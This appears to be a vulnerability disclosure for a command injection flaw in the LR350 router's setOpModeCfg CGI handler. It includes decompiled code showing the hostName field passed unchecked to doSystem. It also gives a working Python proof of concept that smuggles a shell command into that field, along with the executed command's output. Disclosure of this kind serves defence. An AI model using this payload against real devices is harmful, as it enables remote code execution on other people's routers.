LR350 - command injection - setOpModeCfg

Hi, we found a command injection vulnerability at **LR350** (Firmware version **V9.3.5u.6369_B20220309**), and contact you at the first time.

In function **OpModeCfg** of the file **/cgi-bin/cstecgi.cgi,** string **hostName** not checked and passed to doSystem, result in command injection.

```
171     if ( v3 != 6 )
172     {
173       strcpy(v60, "dhcp");
174       v46 = websGetVar(a1, "hostName", "");
175       if ( *v46 )
176       {
177         nvram_set("wan_hostname", v46);
178         doSystem("echo  '%s'  > /proc/sys/kernel/hostname", v46);
179       }
180       v47 = websGetVar(a1, "dhcpMtu", "1500");
181       nvram_set("wan_mtu", v47);
182       goto LABEL_49;
183     }
```

PoC

```
import requests url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi" cookie =
{"Cookie":"uid=1234"} data = {'topicurl' : "setOpModeCfg", "proto" : "8",
"switchOpMode" : "1", "hostName" : "';ls -lh ../ ;'"} response =
requests.post(url, cookies=cookie, json=data) print(response.text)
print(response)
```

Impact

Remote code execution

After execute the poc, the **ls** command is executed

```
drwxrwxr-x    2 0        0            4.0K Oct  1 07:09 advance
drwxrwxr-x    2 0        0            4.0K Oct  1 07:09 basic
drwxrwxr-x    2 0        0            4.0K Oct  1 07:09 cgi-bin
-rwxr-xr-x    1 0        0             955 Oct  1 07:09 error.html
-rwxr-xr-x    1 0        0            1.1K Oct  1 07:09 favicon.ic
-rwxr-xr-x    1 0        0             143 Oct  1 07:09 home.html
-rwxr-xr-x    1 0        0             797 Oct  1 07:09 index.html
drwxrwxr-x    2 0        0            4.0K Oct  1 07:09 language
-rwxr-xr-x    1 0        0            4.7K Oct  1 07:09 login.html
-rw-r--r--    1 0        0            4.5K Oct  1 07:09 login_ie.h
-rwxr-xr-x    1 0        0           33.8K Oct  1 07:09 opmode.htm
drwxrwxr-x    2 0        0            4.0K Oct  1 07:09 phone
drwxrwxr-x    2 0        0            4.0K Oct  1 07:09 plugin
drwxrwxr-x    5 0        0            4.0K Oct  1 07:09 static
-rwxr-xr-x    1 0        0            1.5K Oct  1 07:09 telnet.htm
-rw-r--r--    1 0        0           10.6K Oct  1 07:09 wan_ie.htm
-rwxr-xr-x    1 0        0           54.7K Oct  1 07:09 wizard.htm
{
        "success":      true,
        "error":        null,
        "lan_ip":       "",
        "wtime":        "",
        "reserv":       "reserv"
}

<Response [200]>
```